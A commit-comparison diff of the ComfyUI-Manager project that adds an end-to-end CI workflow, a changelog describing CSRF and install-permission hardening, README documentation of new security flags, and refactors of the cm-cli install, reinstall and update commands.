Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f764cc0e54 | ||
|
|
69bc3ef1c6 | ||
|
|
4ad94b2048 | ||
|
|
a0d89e9a56 | ||
|
|
bd4ede2237 | ||
|
|
fca7ef149d | ||
|
|
8b98723b42 | ||
|
|
622a7077a5 | ||
|
|
01799f8cac | ||
|
|
4410ebc6a6 | ||
|
|
49e205acd4 | ||
|
|
92e05fc767 | ||
|
|
cd805b3202 | ||
|
|
099aed1ad4 | ||
|
|
e129697151 | ||
|
|
cd60f33f6d | ||
|
|
ddccefbc70 | ||
|
|
3bc2e18f88 | ||
|
|
d7a2277017 | ||
|
|
f042d73b72 | ||
|
|
0d88a3874d |
@@ -0,0 +1,74 @@
|
||||
name: "E2E Tests on Multiple Platforms"
|
||||
on:
|
||||
push:
|
||||
branches: [main, feat/*, fix/*]
|
||||
paths:
|
||||
- "comfyui_manager/**"
|
||||
- "cm_cli/**"
|
||||
- "tests/e2e/**"
|
||||
- ".github/workflows/e2e.yml"
|
||||
pull_request:
|
||||
branches: [main]
|
||||
paths:
|
||||
- "comfyui_manager/**"
|
||||
- "cm_cli/**"
|
||||
- "tests/e2e/**"
|
||||
- ".github/workflows/e2e.yml"
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
e2e:
|
||||
name: "E2E (${{ matrix.os }}, py${{ matrix.python-version }})"
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 15
|
||||
env:
|
||||
PYTHONIOENCODING: "utf8"
|
||||
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
os: [ubuntu-latest, windows-latest, macos-latest]
|
||||
python-version: ["3.10"]
|
||||
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
|
||||
- name: Install uv
|
||||
uses: astral-sh/setup-uv@v4
|
||||
|
||||
- name: Set E2E_ROOT
|
||||
shell: bash
|
||||
run: |
|
||||
if [[ "$RUNNER_OS" == "Windows" ]]; then
|
||||
echo "E2E_ROOT=$RUNNER_TEMP\\e2e_env" >> "$GITHUB_ENV"
|
||||
else
|
||||
echo "E2E_ROOT=$RUNNER_TEMP/e2e_env" >> "$GITHUB_ENV"
|
||||
fi
|
||||
|
||||
- name: Setup E2E environment
|
||||
shell: bash
|
||||
env:
|
||||
MANAGER_ROOT: ${{ github.workspace }}
|
||||
run: |
|
||||
python tests/e2e/scripts/setup_e2e_env.py
|
||||
|
||||
- name: Run E2E tests
|
||||
shell: bash
|
||||
run: |
|
||||
if [[ "$RUNNER_OS" == "Windows" ]]; then
|
||||
VENV_PY="$E2E_ROOT/venv/Scripts/python.exe"
|
||||
else
|
||||
VENV_PY="$E2E_ROOT/venv/bin/python"
|
||||
fi
|
||||
uv pip install --python "$VENV_PY" pytest pytest-timeout
|
||||
|
||||
"$VENV_PY" -m pytest tests/cli/test_uv_compile.py -v -s --timeout=300
|
||||
+5
-1
@@ -21,4 +21,8 @@ check2.sh
|
||||
build
|
||||
dist
|
||||
*.egg-info
|
||||
.env
|
||||
.env
|
||||
.claude
|
||||
test_venv
|
||||
node_modules/
|
||||
artifacts/
|
||||
|
||||
+195
@@ -0,0 +1,195 @@
|
||||
# Changelog
|
||||
|
||||
All notable changes to **ComfyUI-Manager** are documented in this file.
|
||||
|
||||
The format is based on [Keep a Changelog 1.1.0](https://keepachangelog.com/en/1.1.0/),
|
||||
and this project adheres to [Semantic Versioning 2.0.0](https://semver.org/spec/v2.0.0.html).
|
||||
|
||||
## [Unreleased]
|
||||
|
||||
## [4.3] - 2026-09-19
|
||||
|
||||
### Security
|
||||
|
||||
- Prevent HTML and URL injection in the legacy Manager UI while preserving
|
||||
supported formatting and links.
|
||||
- Require loopback-only listeners or `allow_flagged_nodepack_install = true`
|
||||
to install Flagged CNR versions through either Manager API. This requirement
|
||||
is additional to the existing installation security checks.
|
||||
|
||||
### Fixed
|
||||
|
||||
- Preserve administrator settings when saving configuration from the Manager UI.
|
||||
- Clear legacy install progress state when batch submission fails.
|
||||
- Attribute multiline uv dependency conflicts to the affected nodepacks while
|
||||
filtering unrelated stderr output.
|
||||
|
||||
## [4.2.2] - 2026-06-15
|
||||
|
||||
### Security
|
||||
|
||||
- **Dedicated install flags decouple git-URL / pip installs from `security_level`**:
|
||||
`POST /v2/customnode/install/git_url` and `POST /v2/customnode/install/pip`
|
||||
(and the batch install path for git URLs not in the custom-node DB) are now
|
||||
gated by two new `config.ini` `[default]` flags — `allow_git_url_install`
|
||||
and `allow_pip_install` — instead of `security_level`. Both default to
|
||||
`false` (secure by default), and a non-loopback listener stays denied unless
|
||||
`network_mode = personal_cloud` (the existing network-position invariant is
|
||||
retained — the flags never widen exposure beyond what was possible before).
|
||||
`security_level` no longer has any effect on these two endpoints, in either
|
||||
direction. The unknown-pip-package block in batch installs remains
|
||||
unconditional. Activation requires a restart (no hot reload).
|
||||
|
||||
### Migration notes
|
||||
|
||||
- **Users running `security_level = weak` or `normal-`**: these environments
|
||||
could previously use the git-URL / pip install endpoints; after upgrading
|
||||
they are denied (HTTP 403) until you explicitly opt in by setting
|
||||
`allow_git_url_install = true` and/or `allow_pip_install = true` in the
|
||||
`[default]` section of `config.ini`. The flags are NOT auto-seeded from
|
||||
your `security_level` — explicit opt-in is intentional.
|
||||
|
||||
### Fixed
|
||||
|
||||
- **pygit2 fallback hardening (Desktop 2.0)**: under `CM_USE_PYGIT2=1` the
|
||||
pygit2 backend ran `clone_repository` / `remote.fetch` honoring the user's
|
||||
global git config, so an `insteadOf` rewrite (https→ssh) or credential
|
||||
helper forced authentication and failed with *"authentication required but
|
||||
no callback set"*. The system/global/XDG config search path is now blanked
|
||||
at import time (hermetic libgit2 operations) and SSH-form GitHub URLs are
|
||||
normalized to anonymous HTTPS on clone and when opening a repo. System
|
||||
`git` is preferred when available.
|
||||
- **pygit2 fallback follow-ups**: `list_remotes()` fetches now route through
|
||||
`_fetch_remote` so the proxy and SSH→HTTPS rewrite apply to every fetch
|
||||
entry point, with `pull` provided on the proxies via a shared
|
||||
`_pull_remote` helper. `_to_https_url` now handles `ssh://git@host:port/...`
|
||||
URLs (drops the custom SSH port instead of mangling it) and collapses
|
||||
leading slashes; non-scp-form and port-only/IPv6 `ssh://` URLs are returned
|
||||
unchanged. `clone_repo` omits the `proxy=` kwarg when no proxy is
|
||||
configured (proxy-less installs keep working on pygit2 < 1.18), and pygit2
|
||||
is now pinned to `>= 1.18`.
|
||||
|
||||
## [4.2.1] - 2026-04-22
|
||||
|
||||
Security-hardening release. Contains breaking-ish API changes for
|
||||
state-mutating endpoints. See **Migration notes** below before upgrading
|
||||
programmatic clients.
|
||||
|
||||
### Security
|
||||
|
||||
- **CSRF Content-Type gate**: 18 state-mutation POST handlers (9 in `glob`, 9 in
|
||||
`legacy`) now reject the three CORS "simple request" Content-Types
|
||||
(`application/x-www-form-urlencoded`, `multipart/form-data`, `text/plain`).
|
||||
This closes the residual `<form method="POST">` bypass route that remained
|
||||
after the GET→POST transition. Legitimate clients using `application/json`
|
||||
(or no body) are unaffected.
|
||||
- **`do_fix` security level raised from `high` to `high+`**: aligns the
|
||||
enforcement gate (`is_allowed_security_level`) with the log text emitted by
|
||||
`SECURITY_MESSAGE_HIGH_P`. Both `glob/manager_server.py` and
|
||||
`legacy/manager_server.py` updated in lockstep. Environments running at
|
||||
`security_level = high` can no longer fix a nodepack — use
|
||||
`security_level = normal` or lower.
|
||||
- **Config setters now gated at `middle` security level**:
|
||||
`POST /v2/manager/db_mode`, `POST /v2/manager/policy/update`, and
|
||||
`POST /v2/manager/channel_url_list` now check
|
||||
`is_allowed_security_level('middle')` before mutating configuration (both
|
||||
`glob` and `legacy`). Closes a pre-existing gap where the write path was
|
||||
reachable at any security level. Reads (`GET`) remain unrestricted.
|
||||
|
||||
### Changed
|
||||
|
||||
- **State-changing endpoints converted from `GET` to `POST`** (CSRF hardening):
|
||||
`/v2/manager/queue/{update_all, reset, start, update_comfyui}`,
|
||||
`/v2/snapshot/{remove, restore, save}`,
|
||||
`/v2/comfyui_manager/comfyui_switch_version`,
|
||||
`/v2/manager/reboot`.
|
||||
Query-string parameters are preserved where they existed; only the HTTP
|
||||
method changes.
|
||||
- **`POST /v2/comfyui_manager/comfyui_switch_version` parameters moved from
|
||||
query string to JSON body** (REST idiom + body-reading CSRF posture):
|
||||
The handler now consumes `application/json` with the body shape
|
||||
`{"ver": "...", "client_id": "...", "ui_id": "..."}` instead of reading
|
||||
`?ver=...&client_id=...&ui_id=...` from the URL. Because body-reading
|
||||
handlers are already covered by the CORS-preflight mechanism for
|
||||
cross-origin protection, the Content-Type rejection gate introduced for
|
||||
the other state-mutation endpoints is intentionally NOT applied here
|
||||
(see `comfyui_manager/common/manager_security.py` module docstring).
|
||||
The first-party JS client in `comfyui_manager/js/comfyui-manager.js`
|
||||
was updated in the same change; third-party callers must migrate.
|
||||
- **Config endpoints split into `GET` (read) + `POST` (write)**:
|
||||
`/v2/manager/{db_mode, policy/update, channel_url_list}`. `GET` returns the
|
||||
current value; `POST` accepts a JSON body `{"value": "..."}`. The prior
|
||||
single-method form that accepted a `?value=...` query parameter on either
|
||||
verb is retired.
|
||||
- **`openapi.yaml` fully resynchronized** with the server: HTTP methods, the
|
||||
dual-method splits above, request-body schemas for the new POST setters,
|
||||
and the `TaskHistoryItem.params` field now match `manager_server.py`.
|
||||
- **Legacy `restart(self)` → `restart(request)`**: parameter name corrected.
|
||||
No behavioral change.
|
||||
|
||||
### Added
|
||||
|
||||
- **Server-push feature flag `extension.manager.supports_csrf_post`** registered
|
||||
at startup, allowing ComfyUI-frontend (and other clients) to detect
|
||||
CSRF-POST backend support as a semantic capability contract, without
|
||||
relying on version string parsing. Manager versions prior to 4.2.1 do not
|
||||
set the flag — clients should treat its absence as 'incompatible with
|
||||
POST-only state-mutation endpoints'.
|
||||
- **E2E test harness variants** for security-level and legacy-mode scenarios:
|
||||
`tests/e2e/scripts/start_comfyui_legacy.sh`,
|
||||
`tests/e2e/scripts/start_comfyui_permissive.sh`,
|
||||
`tests/e2e/scripts/start_comfyui_strict.sh`. See
|
||||
`docs/guide/GUIDE_E2E_TEST.md` for usage.
|
||||
- **`COMFYUI_MANAGER_SKIP_MANAGER_REQUIREMENTS` environment variable**: when
|
||||
set, skips the `manager_requirements.txt` reinstall path. Intended for E2E
|
||||
environments where those dependencies are provisioned separately.
|
||||
- **`TaskHistoryItem.params` field** (Pydantic + `openapi.yaml`): mirrors
|
||||
`QueueTaskItem.params` so that task history retains the original request
|
||||
payload (nullable when unavailable).
|
||||
- **Automated endpoint coverage** — pytest E2E + Playwright specs covering all
|
||||
39 unique `(method, path)` endpoints across `glob` and `legacy`. Coverage is
|
||||
tracked in `reports/api-coverage-matrix.md` and
|
||||
`reports/e2e_test_coverage.md`.
|
||||
|
||||
### Removed
|
||||
|
||||
- **Legacy per-operation POST routes consolidated into `POST /v2/manager/queue/batch`**:
|
||||
`/v2/manager/queue/{install, uninstall, update, fix, disable, reinstall, abort_current}`.
|
||||
The first-party JS client already uses `queue/batch`; only third-party
|
||||
scripts that call the per-operation routes directly are affected.
|
||||
- **`GET /manager/notice`** (v1, pip-install redirect banner).
|
||||
`GET /v2/manager/notice` remains available.
|
||||
|
||||
### Migration notes
|
||||
|
||||
- Third-party clients calling `POST /v2/manager/queue/install` (and the other
|
||||
per-operation queue routes) must switch to
|
||||
`POST /v2/manager/queue/batch` with a body such as
|
||||
`{"install": [{id, ver, ...}], "batch_id": "..."}`. See
|
||||
`reports/endpoint_scenarios.md` for the full payload shape.
|
||||
- Programmatic clients that posted to the CSRF-hardened endpoints with
|
||||
`application/x-www-form-urlencoded`, `multipart/form-data`, or `text/plain`
|
||||
must switch to `application/json` (or omit the body entirely when the
|
||||
endpoint takes its parameters from the query string).
|
||||
- Clients that called any of the methods listed under **Changed → State-changing
|
||||
endpoints** with `GET` must switch to `POST`. Query parameters remain valid.
|
||||
- Clients that wrote configuration via
|
||||
`GET /v2/manager/{db_mode, policy/update, channel_url_list}?value=...`
|
||||
must switch to `POST` with JSON body `{"value": "..."}`.
|
||||
- Third-party scripts calling
|
||||
`POST /v2/comfyui_manager/comfyui_switch_version?ver=...&client_id=...&ui_id=...`
|
||||
must switch to `POST` with `Content-Type: application/json` and body
|
||||
`{"ver": "...", "client_id": "...", "ui_id": "..."}`. The query-string
|
||||
form no longer works.
|
||||
- Environments running at `security_level = high` can no longer run
|
||||
`do_fix`. Either lower the security level (`normal`, `normal-`, or `weak`
|
||||
as appropriate) or skip the fix operation.
|
||||
- Environments running at `security_level = high` can no longer mutate
|
||||
`db_mode`, `policy/update`, or `channel_url_list` via POST (returns `403`).
|
||||
Lower the security level to `normal` or below to change configuration, or
|
||||
perform the change from a trusted entry point. Read access via `GET` is
|
||||
unaffected.
|
||||
|
||||
[4.3]: https://github.com/Comfy-Org/ComfyUI-Manager/compare/v4.2.2...v4.3
|
||||
[4.2.2]: https://github.com/Comfy-Org/ComfyUI-Manager/compare/v4.2.1...v4.2.2
|
||||
[4.2.1]: https://github.com/Comfy-Org/ComfyUI-Manager/compare/v4.1b6...v4.2.1
|
||||
@@ -214,6 +214,9 @@ The following settings are applied based on the section marked as `is_default`.
|
||||
model_download_by_agent = <When downloading models, use an agent instead of torchvision_download_url.>
|
||||
downgrade_blacklist = <Set a list of packages to prevent downgrades. List them separated by commas.>
|
||||
security_level = <Set the security level => strong|normal|normal-|weak>
|
||||
allow_git_url_install = <Allow installing custom nodes from arbitrary git URLs. Independent of security_level. Default: False>
|
||||
allow_pip_install = <Allow installing arbitrary pip packages via the Manager. Independent of security_level. Default: False>
|
||||
allow_flagged_nodepack_install = <Allow flagged CNR versions on non-local listeners in trusted private networks. Default: False>
|
||||
always_lazy_install = <Whether to perform dependency installation on restart even in environments other than Windows.>
|
||||
network_mode = <Set the network mode => public|private|offline|personal_cloud>
|
||||
```
|
||||
@@ -324,12 +327,14 @@ The security settings are applied based on whether the ComfyUI server's listener
|
||||
|
||||
| Risky Level | features |
|
||||
|-------------|---------------------------------------------------------------------------------------------------------------------------------------|
|
||||
| high+ | * `Install via git url`, `pip install`<BR>* Installation of nodepack registered not in the `default channel`. |
|
||||
| high | * Fix nodepack |
|
||||
| middle+ | * Uninstall/Update<BR>* Installation of nodepack registered in the `default channel`.<BR>* Restore/Remove Snapshot<BR>* Install model |
|
||||
| middle | * Restart |
|
||||
| high+ | * **Switch ComfyUI version**<BR>* **Fix nodepack** |
|
||||
| high | _(no features at this tier — `Fix nodepack` promoted to `high+` to align the enforcement gate with the `SECURITY_MESSAGE_HIGH_P` log text)_ |
|
||||
| middle+ | * Uninstall/Update<BR>* Installation of Git/nightly nodepacks registered in the `default channel`.<BR>* Restore/Remove Snapshot<BR>* Install model |
|
||||
| middle | * Restart<BR>* Installation of CNR release versions (subject to the flagged-version policy below) |
|
||||
| low | * Update ComfyUI |
|
||||
|
||||
* **Note**: `Install via git url` and `pip install` are no longer gated by `security_level` — they moved to the dedicated flags `allow_git_url_install` / `allow_pip_install`. Installation of a nodepack registered not in the `default channel` likewise requires `allow_git_url_install` (in addition to the `middle+` level preconditions) instead of a `high+` security level. See the [Dedicated install flags](#dedicated-install-flags-allow_git_url_install--allow_pip_install) subsection below.
|
||||
|
||||
|
||||
### Security Level Table
|
||||
|
||||
@@ -341,6 +346,69 @@ The security settings are applied based on whether the ComfyUI server's listener
|
||||
| weak | * All features are available | * All features are available | * `high+` and `middle+` level risky features are not allowed<BR>* `high`, `middle` and `low` level risky features are available
|
||||
|
||||
|
||||
### Dedicated install flags (`allow_git_url_install` / `allow_pip_install`)
|
||||
|
||||
The `Install via git url` and `pip install` features are governed by two dedicated `config.ini` flags instead of `security_level`:
|
||||
|
||||
* `allow_git_url_install`: Allows installing custom nodes from arbitrary git URLs.
|
||||
* `allow_pip_install`: Allows installing arbitrary pip packages via the Manager.
|
||||
|
||||
* Both flags default to `False` — secure by default. A missing or invalid value (anything other than `true`, case-insensitive) is read as `False`.
|
||||
* These flags fully **replace** `security_level` for these two features. `security_level` no longer affects them in either direction: a strict security level cannot deny them when the flag is `true`, and a weak security level cannot allow them when the flag is `false`.
|
||||
* The network-position rule still applies independently: even with a flag enabled, the feature is denied when the server listener is **non-local**, unless `network_mode = personal_cloud`.
|
||||
* Batch installs of git URLs not registered in the `default channel` are also gated by `allow_git_url_install`, and additionally require the normal batch-install preconditions (the `middle+` rules in the tables above). Unknown pip packages in batch installs remain blocked unconditionally — the flags do not open them.
|
||||
* Changes to these flags require a restart of ComfyUI to take effect.
|
||||
* Migration note: if you previously relied on `security_level = weak` or `normal-` to use these features, you must now opt in explicitly by setting the flags in the `[default]` section of `config.ini`. The flags are not auto-seeded from your `security_level`.
|
||||
|
||||
### Flagged CNR nodepacks
|
||||
|
||||
Before downloading a CNR release, Manager checks the selected version's `status`
|
||||
in the existing `/nodes/{id}/install` response. No additional Registry request is
|
||||
needed. The check applies to both the default and legacy Manager implementations,
|
||||
including CNR version changes, updates, and snapshot restores. Legacy batch
|
||||
reinstallation checks the target before removing the existing nodepack, and a
|
||||
policy refusal preserves the current installation. For flagged-policy denials,
|
||||
the UI reports that the current security configuration does not allow the action
|
||||
and directs users to the terminal. Only the terminal provides loopback-only
|
||||
`--listen` examples, the private network override setting, and restart instructions.
|
||||
|
||||
* Active versions continue through the normal install flow. CNR release installs
|
||||
use the `middle` security level, so they are available on non-local listeners
|
||||
with `security_level = normal`, `normal-`, or `weak`. `strong` still denies
|
||||
these install requests.
|
||||
* Flagged versions (`NodeVersionStatusFlagged`) must satisfy the same installation
|
||||
conditions as Active versions. In addition, **all** addresses in `--listen`
|
||||
must resolve to loopback, such as `127.0.0.1` and `::1`, unless the explicit
|
||||
override below is enabled.
|
||||
* To allow flagged versions on a non-local listener in a **trusted private
|
||||
network**, an administrator can explicitly opt in:
|
||||
|
||||
```ini
|
||||
[default]
|
||||
allow_flagged_nodepack_install = true
|
||||
```
|
||||
|
||||
* The option defaults to `false`. Only `true` (case-insensitive) enables it;
|
||||
missing or invalid values are treated as `false`. Restart ComfyUI after editing it.
|
||||
* With this option enabled, the flagged-version check allows installation
|
||||
regardless of the listen address. Manager does not automatically detect a
|
||||
private network. This option does not require `network_mode = private`, and
|
||||
`network_mode = personal_cloud` alone does not allow flagged versions.
|
||||
* CNR API refusals, including banned or unavailable packages, still prevent
|
||||
installation. This option does not override `security_level = strong` or
|
||||
the separate Git/nightly and pip installation policies.
|
||||
* Enabling an already installed version does not query the Registry or reinstall it.
|
||||
* Older deferred switches without a stored status require loopback-only listeners
|
||||
or the override. Otherwise they are rejected without changing the installed pack;
|
||||
request the installation again so Manager can check its current Registry status.
|
||||
* Newly scheduled deferred version switches retain the returned version status
|
||||
and check it against the current listen address and option again at restart.
|
||||
This uses the saved status; it does not query CNR again for later status changes.
|
||||
Server-scheduled snapshot restores inherit the permission computed from the
|
||||
server's current listener and setting.
|
||||
* Standalone `cm-cli` commands remain local administrator operations and do not
|
||||
use the server listener policy.
|
||||
|
||||
|
||||
# Disclaimer
|
||||
|
||||
|
||||
@@ -0,0 +1,3 @@
|
||||
def main():
|
||||
from .__main__ import main as _main
|
||||
_main()
|
||||
@@ -11,12 +11,9 @@ import typer
|
||||
from rich import print
|
||||
from typing_extensions import List, Annotated
|
||||
import re
|
||||
import git
|
||||
import importlib
|
||||
|
||||
|
||||
from ..common import manager_util
|
||||
|
||||
# read env vars
|
||||
# COMFYUI_FOLDERS_BASE_PATH is not required in cm-cli.py
|
||||
# `comfy_path` should be resolved before importing manager_core
|
||||
@@ -35,11 +32,12 @@ if not os.path.exists(os.path.join(comfy_path, 'folder_paths.py')):
|
||||
|
||||
|
||||
import utils.extra_config
|
||||
from ..common import cm_global
|
||||
from ..legacy import manager_core as core
|
||||
from ..common import context
|
||||
from ..legacy.manager_core import unified_manager
|
||||
from ..common import cnr_utils
|
||||
from comfyui_manager.common import manager_util
|
||||
from comfyui_manager.common import cm_global
|
||||
from comfyui_manager.legacy import manager_core as core
|
||||
from comfyui_manager.common import context
|
||||
from comfyui_manager.legacy.manager_core import unified_manager
|
||||
from comfyui_manager.common import cnr_utils
|
||||
|
||||
comfyui_manager_path = os.path.abspath(os.path.dirname(__file__))
|
||||
|
||||
@@ -63,9 +61,10 @@ if os.path.exists(os.path.join(manager_util.comfyui_manager_path, "pip_blacklist
|
||||
|
||||
def check_comfyui_hash():
|
||||
try:
|
||||
repo = git.Repo(comfy_path)
|
||||
core.comfy_ui_revision = len(list(repo.iter_commits('HEAD')))
|
||||
core.comfy_ui_commit_datetime = repo.head.commit.committed_datetime
|
||||
from comfyui_manager.common.git_compat import open_repo
|
||||
with open_repo(comfy_path) as repo:
|
||||
core.comfy_ui_revision = repo.iter_commits_count()
|
||||
core.comfy_ui_commit_datetime = repo.head_commit_datetime
|
||||
except Exception:
|
||||
print('[bold yellow]INFO: Frozen ComfyUI mode.[/bold yellow]')
|
||||
core.comfy_ui_revision = 0
|
||||
@@ -184,18 +183,22 @@ class Ctx:
|
||||
cmd_ctx = Ctx()
|
||||
|
||||
|
||||
class NodeInstallError(Exception):
|
||||
"""Raised when a node installation fails and the caller requested failure propagation."""
|
||||
pass
|
||||
|
||||
|
||||
def install_node(node_spec_str, is_all=False, cnt_msg='', **kwargs):
|
||||
exit_on_fail = kwargs.get('exit_on_fail', False)
|
||||
print(f"install_node exit on fail:{exit_on_fail}...")
|
||||
|
||||
raise_on_fail = kwargs.get('raise_on_fail', False)
|
||||
|
||||
if core.is_valid_url(node_spec_str):
|
||||
# install via urls
|
||||
res = asyncio.run(core.gitclone_install(node_spec_str, no_deps=cmd_ctx.no_deps))
|
||||
if not res.result:
|
||||
print(res.msg)
|
||||
print(f"[bold red]ERROR: An error occurred while installing '{node_spec_str}'.[/bold red]")
|
||||
if exit_on_fail:
|
||||
sys.exit(1)
|
||||
if raise_on_fail:
|
||||
raise NodeInstallError(node_spec_str)
|
||||
else:
|
||||
print(f"{cnt_msg} [INSTALLED] {node_spec_str:50}")
|
||||
else:
|
||||
@@ -230,17 +233,34 @@ def install_node(node_spec_str, is_all=False, cnt_msg='', **kwargs):
|
||||
print("")
|
||||
else:
|
||||
print(f"[bold red]ERROR: An error occurred while installing '{node_name}'.\n{res.msg}[/bold red]")
|
||||
if exit_on_fail:
|
||||
sys.exit(1)
|
||||
if raise_on_fail:
|
||||
raise NodeInstallError(node_name)
|
||||
|
||||
|
||||
def reinstall_node(node_spec_str, is_all=False, cnt_msg=''):
|
||||
node_spec = unified_manager.resolve_node_spec(node_spec_str)
|
||||
if core.is_valid_url(node_spec_str):
|
||||
# URL-based: resolve_node_spec returns the full URL as node_name,
|
||||
# but internal dicts are keyed by repo basename or cnr_id.
|
||||
url = node_spec_str.rstrip('/')
|
||||
cnr = unified_manager.get_cnr_by_repo(url)
|
||||
if cnr:
|
||||
node_id = cnr['id']
|
||||
unified_manager.unified_uninstall(node_id, False)
|
||||
unified_manager.purge_node_state(node_id)
|
||||
else:
|
||||
repo_name = os.path.splitext(os.path.basename(url))[0]
|
||||
unified_manager.unified_uninstall(repo_name, True)
|
||||
unified_manager.purge_node_state(repo_name)
|
||||
|
||||
node_name, version_spec, _ = node_spec
|
||||
install_node(node_spec_str, is_all=is_all, cnt_msg=cnt_msg, raise_on_fail=True)
|
||||
else:
|
||||
node_spec = unified_manager.resolve_node_spec(node_spec_str)
|
||||
node_name, version_spec, _ = node_spec
|
||||
|
||||
unified_manager.unified_uninstall(node_name, version_spec == 'unknown')
|
||||
install_node(node_name, is_all=is_all, cnt_msg=cnt_msg)
|
||||
unified_manager.unified_uninstall(node_name, version_spec == 'unknown')
|
||||
unified_manager.purge_node_state(node_name)
|
||||
|
||||
install_node(node_name, is_all=is_all, cnt_msg=cnt_msg, raise_on_fail=True)
|
||||
|
||||
|
||||
def fix_node(node_spec_str, is_all=False, cnt_msg=''):
|
||||
@@ -614,14 +634,20 @@ def for_each_nodes(nodes, act, allow_all=True, **kwargs):
|
||||
nodes = [x for x in nodes if x.lower() not in ['comfy', 'comfyui', 'all']]
|
||||
|
||||
total = len(nodes)
|
||||
i = 1
|
||||
for x in nodes:
|
||||
failed = []
|
||||
for i, x in enumerate(nodes, 1):
|
||||
try:
|
||||
act(x, is_all=is_all, cnt_msg=f'{i}/{total}', **kwargs)
|
||||
except NodeInstallError:
|
||||
failed.append(x)
|
||||
except Exception as e:
|
||||
print(f"ERROR: {e}")
|
||||
traceback.print_exc()
|
||||
i += 1
|
||||
failed.append(x)
|
||||
|
||||
if failed:
|
||||
print(f"\n[bold red]Failed nodes ({len(failed)}/{total}): {', '.join(str(x) for x in failed)}[/bold red]")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
app = typer.Typer()
|
||||
@@ -657,6 +683,14 @@ def install(
|
||||
help="Skip installing any Python dependencies",
|
||||
),
|
||||
] = False,
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After installing, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
user_directory: str = typer.Option(
|
||||
None,
|
||||
help="user directory"
|
||||
@@ -668,11 +702,20 @@ def install(
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
cmd_ctx.set_channel_mode(channel, mode)
|
||||
cmd_ctx.set_no_deps(no_deps)
|
||||
|
||||
if uv_compile and no_deps:
|
||||
print("[bold red]--uv-compile and --no-deps are mutually exclusive.[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
else:
|
||||
cmd_ctx.set_no_deps(no_deps)
|
||||
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
|
||||
for_each_nodes(nodes, act=install_node, exit_on_fail=exit_on_fail)
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
|
||||
|
||||
@app.command(help="Reinstall custom nodes")
|
||||
@@ -699,6 +742,14 @@ def reinstall(
|
||||
help="Skip installing any Python dependencies",
|
||||
),
|
||||
] = False,
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After reinstalling, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
user_directory: str = typer.Option(
|
||||
None,
|
||||
help="user directory"
|
||||
@@ -706,11 +757,20 @@ def reinstall(
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
cmd_ctx.set_channel_mode(channel, mode)
|
||||
cmd_ctx.set_no_deps(no_deps)
|
||||
|
||||
if uv_compile and no_deps:
|
||||
print("[bold red]--uv-compile and --no-deps are mutually exclusive.[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
else:
|
||||
cmd_ctx.set_no_deps(no_deps)
|
||||
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
|
||||
for_each_nodes(nodes, act=reinstall_node)
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
|
||||
|
||||
@app.command(help="Uninstall custom nodes")
|
||||
@@ -755,10 +815,21 @@ def update(
|
||||
None,
|
||||
help="user directory"
|
||||
),
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After updating, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
cmd_ctx.set_channel_mode(channel, mode)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
|
||||
if 'all' in nodes:
|
||||
asyncio.run(auto_save_snapshot())
|
||||
|
||||
@@ -770,7 +841,8 @@ def update(
|
||||
break
|
||||
|
||||
update_parallel(nodes)
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
|
||||
|
||||
@app.command(help="Disable custom nodes")
|
||||
@@ -856,16 +928,28 @@ def fix(
|
||||
None,
|
||||
help="user directory"
|
||||
),
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After fixing, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
cmd_ctx.set_channel_mode(channel, mode)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
|
||||
if 'all' in nodes:
|
||||
asyncio.run(auto_save_snapshot())
|
||||
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
|
||||
for_each_nodes(nodes, fix_node, allow_all=True)
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
|
||||
|
||||
@app.command("show-versions", help="Show all available versions of the node")
|
||||
@@ -968,31 +1052,6 @@ def simple_show(
|
||||
show_list(arg, True)
|
||||
|
||||
|
||||
@app.command('cli-only-mode', help="Set whether to use ComfyUI-Manager in CLI-only mode.")
|
||||
def cli_only_mode(
|
||||
